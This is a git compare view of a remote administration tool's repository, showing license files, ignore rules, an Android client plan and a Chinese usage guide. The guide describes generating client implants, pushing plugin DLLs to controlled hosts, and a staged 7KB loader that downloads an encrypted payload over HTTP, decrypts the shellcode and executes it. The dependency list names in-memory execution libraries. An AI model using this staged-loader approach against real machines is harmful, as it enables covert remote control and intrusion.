Compare commits
94 Commits
v1.3.3
...
a8684753a9
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a8684753a9 | ||
|
|
837d89c8b5 | ||
|
|
c1433b4b5d | ||
|
|
71963b740b | ||
|
|
5b37df26fd | ||
|
|
851fed4739 | ||
|
|
103123f533 | ||
|
|
66c950cecb | ||
|
|
91d4c0a523 | ||
|
|
abafd673a2 | ||
|
|
2765d95950 | ||
|
|
931492a294 | ||
|
|
d3b9e7faae | ||
|
|
5757ec7965 | ||
|
|
eaa0cc6d0b | ||
|
|
63ef75b7ce | ||
|
|
1335d636da | ||
|
|
b4ef42923a | ||
|
|
8c64886512 | ||
|
|
773f5d5973 | ||
|
|
2843a260b0 | ||
|
|
3f662f1ca7 | ||
|
|
8e5ec20cf2 | ||
|
|
96688166ba | ||
|
|
1f538719a8 | ||
|
|
9f6476a7c4 | ||
|
|
5a20355547 | ||
|
|
1430ab3261 | ||
|
|
ec7cfa1d63 | ||
|
|
fc0be64880 | ||
|
|
be09b271e1 | ||
|
|
4064bbe25d | ||
|
|
fcd3b13ca8 | ||
|
|
99be79b7ae | ||
|
|
dc83c2df42 | ||
|
|
a52874fe08 | ||
|
|
7aeb7b6ed5 | ||
|
|
498c7d15b3 | ||
|
|
9aca587654 | ||
|
|
da024fb3fb | ||
|
|
a5a04aaab7 | ||
|
|
c846d11efa | ||
|
|
9fe8ab746a | ||
|
|
8c7f612449 | ||
|
|
d1aa7a2c02 | ||
|
|
c0a632a4c6 | ||
|
|
085543b0f1 | ||
|
|
1fd431ba76 | ||
|
|
268a427172 | ||
|
|
620aaf6827 | ||
|
|
d6fb612475 | ||
|
|
54c88539e5 | ||
|
|
92bf9c9ccb | ||
|
|
99fc15ae41 | ||
|
|
62e962f216 | ||
|
|
740ec8baf3 | ||
|
|
83d671c90f | ||
|
|
5b7d3903b5 | ||
|
|
da443283f2 | ||
|
|
e5bb405f79 | ||
|
|
6e743ada0b | ||
|
|
d808462fe1 | ||
|
|
e264e092f6 | ||
|
|
707dcdbbb4 | ||
|
|
1c1bb3a5ff | ||
|
|
cd43caafb2 | ||
|
|
d757c33bcb | ||
| 5af017bf09 | |||
|
|
32a75f4670 | ||
|
|
d7f38ecfdb | ||
|
|
6485e800d6 | ||
|
|
fba4143dd1 | ||
|
|
4ea6ed252c | ||
|
|
534d3650c4 | ||
|
|
2ed86b5e08 | ||
|
|
8dd1c936e2 | ||
|
|
ccab37658a | ||
|
|
4e0627e6a3 | ||
|
|
dc48091d5b | ||
|
|
4d2b12a9dd | ||
|
|
4279e79aa7 | ||
|
|
14387d69ca | ||
|
|
744ebfba0d | ||
|
|
5a92c3306f | ||
|
|
5d9554780f | ||
|
|
84a52b9dcf | ||
|
|
571ec7d80c | ||
|
|
ead4f909ee | ||
|
|
e762e3cbd1 | ||
|
|
6c32b478af | ||
|
|
b813d94486 | ||
|
|
0fe67b16d5 | ||
|
|
b69d61617f | ||
|
|
929436e29d |
4
.gitattributes
vendored
@@ -1,6 +1,10 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
||||
|
||||
# Shell scripts must keep LF line endings even when checked out on Windows,
|
||||
# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
|
||||
*.sh text eol=lf
|
||||
|
||||
# Custom for Visual Studio
|
||||
*.cs diff=csharp
|
||||
|
||||
|
||||
11
.gitignore
vendored
@@ -81,7 +81,18 @@ Releases/*
|
||||
linux/Makefile
|
||||
linux/cmake_install.cmake
|
||||
.vs
|
||||
client/ghost_vs2015.vcxproj.user
|
||||
docs/macOS_Support_Design.md
|
||||
settings.local.json
|
||||
*.zip
|
||||
*.lic
|
||||
YAMA.code-workspace
|
||||
.claude/settings.json
|
||||
.vscode/settings.json
|
||||
Bin/*
|
||||
nul
|
||||
server/go/web/assets/index.html
|
||||
server/go/users.json
|
||||
server/go/build/
|
||||
server/go/.claude/settings.json
|
||||
android/app/.cxx/
|
||||
|
||||
@@ -11,6 +11,14 @@
|
||||
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
||||
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
||||
- [libvpl v2.16.0](https://github.com/intel/libvpl)
|
||||
- [dav1d 62501cc](https://github.com/videolan/dav1d)
|
||||
|
||||
## execution
|
||||
|
||||
- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
|
||||
- [sRDI](https://github.com/Drewsif/sRDI.git)
|
||||
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
|
||||
|
||||
## *Note*
|
||||
|
||||
|
||||
21
LICENSE
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019-2026 yuanyuanxiang
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to furnish persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
|
||||
OTHER DEALINGS IN THE SOFTWARE.
|
||||
279
LICENSE-THIRD-PARTY.txt
Normal file
@@ -0,0 +1,279 @@
|
||||
THIRD-PARTY SOFTWARE NOTICES AND LICENSES
|
||||
|
||||
This document contains intellectual property notices and license information for
|
||||
third-party software components used in this product.
|
||||
|
||||
================================================================================
|
||||
SUMMARY OF LICENSE TYPES
|
||||
================================================================================
|
||||
The third-party components included in this software are governed by the following
|
||||
open-source licenses. For complete compliance, ensure that any modifications to
|
||||
LGPL and MPL covered components are made available under their respective terms,
|
||||
and this text file is distributed with your software product.
|
||||
|
||||
1. Zlib License
|
||||
- zlib v1.3.2
|
||||
2. BSD 3-Clause License
|
||||
- zstd v1.5.7
|
||||
- libyuv v190
|
||||
- jpeg (libjpeg-turbo) v3.1.1
|
||||
- opus-1.6.1
|
||||
3. BSD 2-Clause License
|
||||
- libpeconv c7d1e48
|
||||
- pe_to_shellcode
|
||||
4. MIT License
|
||||
- jsoncpp v1.9.6
|
||||
- sRDI
|
||||
5. GNU Lesser General Public License v2.1 (LGPL v2.1)
|
||||
- ffmpeg v7.1 (Compiled in shared, non-GPL mode)
|
||||
6. Mozilla Public License v2.0 (MPL 2.0)
|
||||
- MemoryModule
|
||||
|
||||
================================================================================
|
||||
1. zlib v1.3.2 (Zlib License)
|
||||
================================================================================
|
||||
Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
|
||||
|
||||
This software is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the authors be held liable for any damages
|
||||
arising from the use of this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
|
||||
1. The origin of this software must not be misrepresented; you must not
|
||||
claim that you wrote the original software. If you use this software
|
||||
in a product, an acknowledgment in the product documentation would be
|
||||
appreciated but is not required.
|
||||
2. Altered source versions must be plainly marked as such, and must not be
|
||||
misrepresented as being the original software.
|
||||
3. This notice may not be removed or altered from any source distribution.
|
||||
|
||||
================================================================================
|
||||
2. zstd v1.5.7 (BSD 3-Clause License)
|
||||
================================================================================
|
||||
Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name Facebook nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific
|
||||
prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
3. libyuv v190 (BSD 3-Clause License)
|
||||
================================================================================
|
||||
Copyright 2011 The LibYuv Project Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Google nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific
|
||||
prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
|
||||
================================================================================
|
||||
Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
|
||||
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
- Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
- Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
- Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
contributors may be used to endorse or promote products derived from this
|
||||
software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
5. opus-1.6.1 (BSD 3-Clause License)
|
||||
================================================================================
|
||||
Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
|
||||
Jean-Marc Valin, Timothy B. Terriberry,
|
||||
CSIRO, Gregory Maxwell, Mark Borgerding,
|
||||
Erik de Castro Lopo
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
- Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
- Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
- Neither the name of the Xiph.Org Foundation nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
|
||||
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
|
||||
================================================================================
|
||||
Copyright (c) 2020, hasherezade
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
================================================================================
|
||||
7. jsoncpp v1.9.6 (MIT License)
|
||||
================================================================================
|
||||
Copyright (c) 2007-2010 The JsonCpp Authors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
8. sRDI (MIT License)
|
||||
================================================================================
|
||||
Copyright (c) 2017 Drewsif
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
================================================================================
|
||||
9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
|
||||
================================================================================
|
||||
This software uses libraries from the FFmpeg project (v7.1), licensed under the
|
||||
GNU Lesser General Public License (LGPL) version 2.1.
|
||||
FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
|
||||
|
||||
Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib)
|
||||
and does NOT enable any GPL-licensed plugins (such as x264).
|
||||
|
||||
The source code of FFmpeg v7.1 can be obtained from the official FFmpeg
|
||||
website (https://ffmpeg.org). If you require the exact build script and build
|
||||
configuration used by our product to build the FFmpeg binary, please contact
|
||||
our open-source compliance team.
|
||||
|
||||
================================================================================
|
||||
10. MemoryModule (Mozilla Public License v2.0)
|
||||
================================================================================
|
||||
This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0.
|
||||
If a copy of the MPL was not distributed with this file, You can obtain one at
|
||||
http://mozilla.org/MPL/2.0/.
|
||||
|
||||
MemoryModule is Copyright (c) Joachim Bauch.
|
||||
|
||||
Under the terms of the MPL 2.0, you may distribute this component as part of
|
||||
your commercial/proprietary application without being required to open-source
|
||||
your own proprietary code, provided that:
|
||||
1. MemoryModule source files remain unmodified, or if modified, those modifications
|
||||
are made available under the MPL 2.0.
|
||||
2. Users are informed that MemoryModule is used and where they can find its source.
|
||||
881
ReadMe_EN.md
840
ReadMe_TW.md
80
Skills.md
Normal file
@@ -0,0 +1,80 @@
|
||||
# YAMA 使用方法与技巧
|
||||
|
||||
## 编译程序
|
||||
|
||||
编译此程序需要Visual Studio 2019及以上版本。如果编译Go服务端,需要Go 1.25及以上版本。
|
||||
除了直接通过Visual Studio打开项目文件进行编译,也可以通过以下命令进行编译:
|
||||
|
||||
- build.cmd: 编译YAMA.exe(自动提前编译客户端程序)
|
||||
- build.cmd publish:编译YAMA.exe且通过upx压缩,所生成的可执行文件较小。
|
||||
- buld.cmd server:只编译YAMA.exe,需保证所依赖的客户端程序已经编译。
|
||||
- build.cmd go-server:编译 Go 服务端,可以选择带publish 参数进行upx压缩。
|
||||
|
||||
## Go 服务端
|
||||
|
||||
支持在Windows、Linux、MacOS系统运行,使得用户不再依赖Windows服务器来搭建远程控制系统,且部署Go服务端在Linux或MacOS具有更高安全性。
|
||||
但是用户仍然需要有一台Windows电脑,使用YAMA生成客户端程序。
|
||||
|
||||
## 生成客户端
|
||||
|
||||
自版本v1.3.4起,不论是服务端/主控端,还是客户端/受管端,都支持在全平台运行(Windows、Linux、MacOS)。
|
||||
关于在生成客户端时怎么填参数,参考早期在 GitHub 的[文档](https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数)。
|
||||
此文档也许已经过时,但新文档没有准备好。因为生成客户端的逻辑没有改变,所以这篇文档仍然具有参考价值。
|
||||
|
||||
## 更新内嵌资源
|
||||
|
||||
参看 "server\2015Remote\BuildDlg.cpp" 描述,YAMA作为一个功能强大的远程管理系统,内嵌了包含客户端、开源工具在内的10多个资源。
|
||||
较新版本的YAMA支持在不修改源代码、不重新编译的情况下,更新内嵌的这些资源。用户只需要在当前YAMA进程的目录下,增加res子目录,
|
||||
将资源命名为如下所述的名称即可。例如编译了新版本的 frpc.dll, 将其放到 res/frps.dll 位置即可,重启YAMA即会使用该磁盘上的资源。
|
||||
|
||||
```
|
||||
namespace ResFileName {
|
||||
// Ghost 主程序
|
||||
const char* GHOST_X86 = "ghost_x86.exe";
|
||||
const char* GHOST_X64 = "ghost_x64.exe";
|
||||
const char* GHOST_LINUX = "ghost_linux";
|
||||
const char* GHOST_MACOS = "ghost_macos";
|
||||
// TestRun 加载器
|
||||
const char* TESTRUN_X86 = "testrun_x86.dll";
|
||||
const char* TESTRUN_X64 = "testrun_x64.dll";
|
||||
// ServerDll
|
||||
const char* SERVERDLL_X86 = "serverdll_x86.dll";
|
||||
const char* SERVERDLL_X64 = "serverdll_x64.dll";
|
||||
// TinyRun
|
||||
const char* TINYRUN_X86 = "tinyrun_x86.exe";
|
||||
const char* TINYRUN_X64 = "tinyrun_x64.exe";
|
||||
// SCLoader (Shellcode加载器)
|
||||
const char* SCLOADER_X86 = "scloader_x86.bin";
|
||||
const char* SCLOADER_X64 = "scloader_x64.bin";
|
||||
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
|
||||
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
|
||||
// FRP 相关 (无架构区分,64位DLL)
|
||||
const char* FRPC_DLL = "frpc.dll";
|
||||
const char* FRPS_DLL = "frps.dll";
|
||||
// 工具
|
||||
const char* UPX_EXE = "upx.exe";
|
||||
const char* RCEDIT_EXE = "rcedit.exe";
|
||||
}
|
||||
```
|
||||
|
||||
## 使用插件
|
||||
|
||||
将64位的Windows DLL放到Plugins目录,主控程序会加载DLL,且可以通过在线主机的右键菜单,将DLL发送的目标主机执行。
|
||||
开发自定义插件需要遵循一些规范:https://simpleremoter.com/plugins
|
||||
|
||||
## 载荷分离
|
||||
|
||||
通过设置 Web 端口(默认值8080),来开启Web远程桌面,且本机会提供文件下载服务。将文件放置于该目录,从外部访问链接即可下载。
|
||||
比如,生成服务端时,选择 Shellcode+AES, 开启文件下载,将载荷生成为单独的文件 "1.bin",将此文件放置于Payloads 目录。
|
||||
访问 http://127.0.0.1:8080/payloads/1.bin 即可下载此载荷文件。如果本机具有公网IP,则127.0.0.1可替换为公网IP。在有公网IP的计算机开启Web功能,必须设置登录密码,否则存在安全风险。
|
||||
采用载荷分离方式生成的程序,只有7KB,运行此程序会下载载荷,解密载荷中的Shellcode并执行。加载器源代码见 client\SimpleSCLoader.c,采用了高级编程技巧,无导入函数。本项目不提供任何“面纱”保证,且使用场景只限技术研究和学习。
|
||||
|
||||
## Web 远程桌面
|
||||
|
||||
通过设置 Web 端口(默认值8080),即开启Web远程桌面,在浏览器地址栏访问本机8080端口就进入Web远程桌面,默认的密码是admin。
|
||||
如果本机有公网IP,务必修改默认密码,设置为较复杂的密码,否则可能被别人登录。Web登录已做防护,连续3次输入错误密码会冻结。
|
||||
从外部访问Web远程桌面,需要域名和证书(浏览器H264解码硬性要求);Web 远程桌面支持2个主机同时在线,如需突破此限制,请联系管理员。
|
||||
|
||||
## 获取更多
|
||||
|
||||
访问源代码的docs目录,阅读本项目更多内容;也可以访问官方网站:https://simpleremoter.com,成为注册用户,可获取额外的资源与支持。官方网站将不定期地更新有关此软件的公告、用法、案例等内容。
|
||||
21
android/.gitignore
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
# Build output
|
||||
build/
|
||||
app/build/
|
||||
|
||||
# Gradle cache and generated configs
|
||||
.gradle/
|
||||
gradle/gradle-daemon-jvm.properties
|
||||
|
||||
# Local config (contains SDK path, machine-specific)
|
||||
local.properties
|
||||
|
||||
# Android Studio project files
|
||||
.idea/
|
||||
*.iml
|
||||
|
||||
# Signing config
|
||||
*.jks
|
||||
*.keystore
|
||||
|
||||
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
|
||||
!app/src/main/cpp/lib/**/*.a
|
||||
266
android/PLAN.md
Normal file
@@ -0,0 +1,266 @@
|
||||
# Android 客户端开发计划书
|
||||
|
||||
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
|
||||
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
|
||||
|
||||
---
|
||||
|
||||
## 一、代码复用分析
|
||||
|
||||
### 1.1 可 100% 直接复用(NDK 无改动)
|
||||
|
||||
| 文件 | 用途 | 依赖 |
|
||||
|------|------|------|
|
||||
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C,无 OS 依赖 |
|
||||
| `common/aes.c/.h` | AES 加密 | 纯 C |
|
||||
| `common/commands.h` | 协议定义(全平台共享) | 无 |
|
||||
| `common/client_auth_state.h` | 认证状态机 | 无 |
|
||||
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIX(Android NDK 支持) |
|
||||
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
|
||||
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
|
||||
| `common/logger.h` | 日志 | 无 |
|
||||
| `common/locker.h` | 互斥锁 | `std::mutex` |
|
||||
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
|
||||
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
|
||||
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理(Linux 已复用) | POSIX socket |
|
||||
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
|
||||
| `client/sign_shim_unix.cpp` | 签名垫片(Linux/macOS 已复用) | `libsign.a` |
|
||||
|
||||
### 1.2 可参考逻辑、重新实现 Android 版本
|
||||
|
||||
| 现有文件 | Android 对应实现 | 原因 |
|
||||
|----------|-----------------|------|
|
||||
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同(MediaProjection vs X11) |
|
||||
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同(AccessibilityService vs CGEvent) |
|
||||
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`(Phase 4) | 系统 API 不同 |
|
||||
| `macos/H264Encoder.mm` | Android MediaCodec 路径(Java 侧) | 硬件编码器 API 不同 |
|
||||
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
|
||||
|
||||
### 1.3 不复用(Windows 专属)
|
||||
|
||||
- `client/ScreenCapturerDXGI.h`、`client/IOCPBase.h`、`client/ScreenSpy.cpp`(Windows GDI/DXGI)
|
||||
- `client/KeyboardManager.cpp`(SendInput API)
|
||||
- `client/KernelManager.cpp`、`client/ServicesManager.cpp`
|
||||
|
||||
---
|
||||
|
||||
